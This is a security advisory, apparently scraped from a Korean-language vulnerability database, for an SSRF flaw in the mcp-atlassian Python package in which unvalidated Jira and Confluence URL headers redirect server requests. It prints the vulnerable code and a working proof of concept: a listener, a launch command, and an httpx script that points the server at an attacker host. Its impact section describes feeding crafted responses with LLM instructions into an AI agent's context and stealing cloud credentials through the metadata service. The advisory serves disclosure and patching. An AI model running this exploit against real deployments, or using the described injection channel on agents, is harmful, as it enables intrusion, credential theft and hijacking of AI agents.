높음취약점
MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers
GHSA-7r34-79r5-rcc9 · CVE-2026-27826 · PYSEC-2026-2621 · 갱신 2026. 7. 14.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | mcp-atlassian | 0.17.0 |
GHSA-7r34-79r5-rcc9 · CVE-2026-27826 · PYSEC-2026-2621 · 갱신 2026. 7. 14.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | mcp-atlassian | 0.17.0 |
X-Atlassian-Jira-Personal-Token header (any non-empty value)Authorization headerAn identical vulnerability exists for Confluence at dependencies.py:341–393 via X-Atlassian-Confluence-Url +
X-Atlassian-Confluence-Personal-Token.
Root cause - middleware (src/mcp_atlassian/servers/main.py:436–448):
# When service headers are present and no Authorization header is provided,
# auth type is set to "pat" but user_atlassian_token is NOT set.
# This is what routes execution to the vulnerable path below.
if service_headers and (jira_token_str and jira_url_str):
scope["state"]["user_atlassian_auth_type"] = "pat"
Root cause - dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217):
if (
user_auth_type == "pat"
and jira_url_header # attacker-controlled, no validation
and jira_token_header
and not hasattr(request.state, "user_atlassian_token")
):
header_config = JiraConfig(
url=jira_url_header, # used directly, no allowlist check
personal_token=jira_token_header,
...
)
header_jira_fetcher = JiraFetcher(config=header_config)
header_jira_fetcher.get_current_user_account_id()
# ^ GET {jira_url_header}/rest/api/2/myself — outbound SSRF call
request.state.jira_fetcher = header_jira_fetcher # cached for all tool calls this request
### PoC
Step 1 - Start a listener to capture the inbound SSRF request:
# listener.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, sys
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f"[SSRF RECEIVED] Path: {self.path}", file=sys.stderr)
print(f"[SSRF RECEIVED] Headers: {dict(self.headers)}", file=sys.stderr)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
if "myself" in self.path:
self.wfile.write(json.dumps({
"accountId": "ssrf-confirmed",
"displayName": "SSRF PoC"
}).encode())
else:
self.wfile.write(b"{}")
def log_message(self, *args): pass
HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()
Step 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient — the vulnerable path is reached before any real Atlassian instance is contacted):
JIRA_URL=https://placeholder.atlassian.net \
JIRA_API_TOKEN=placeholder \
mcp-atlassian --transport streamable-http --port 8000
Step 3 — Trigger the SSRF:
import httpx, json
MCP = "http://localhost:8000/mcp"
ATTACK = "http://<listener-ip>:8888"
# Initialize MCP session
r = httpx.post(MCP, json={
"jsonrpc": "2.0", "method": "initialize",
"params": {"protocolVersion": "2024-11-05", "capabilities": {},
"clientInfo": {"name": "poc", "version": "1.0"}},
"id": 1
}, headers={
"X-Atlassian-Jira-Url": ATTACK,
"X-Atlassian-Jira-Personal-Token": "any-value",
# No Authorization header — this is the key condition
})
sid = r.headers.get("mcp-session-id")
# Call any Jira tool — this triggers get_jira_fetcher() and the outbound SSRF call
httpx.post(MCP, json={
"jsonrpc": "2.0", "method": "tools/call",
"params": {"name": "jira_get_issue", "arguments": {"issue_key": "PROJ-1"}},
"id": 2
}, headers={
"X-Atlassian-Jira-Url": ATTACK,
"X-Atlassian-Jira-Personal-Token": "any-value",
"Mcp-Session-Id": sid,
})
The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.
### Impact
This vulnerability affects any deployment using `--transport streamable-http` or `--transport sse`. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.
- Any HTTP deployment: The server acts as an SSRF proxy, enabling reconnaissance of internal services (databases, internal APIs, microservices)
not directly reachable from outside the network.
- AI agent sessions: Once the attacker-controlled fetcher is cached in request.state, all Jira tool responses for that session originate from the attacker's server. The attacker can return crafted API responses containing LLM instructions, injecting those instructions into the AI agent's context as if they were legitimate Jira data - a prompt injection channel at the data layer requiring no tool parameter manipulation.
- Cloud deployments: Any network-reachable attacker can potentially steal the server's IAM role credentials via the instance metadata service, gaining full access to all cloud resources that role permits.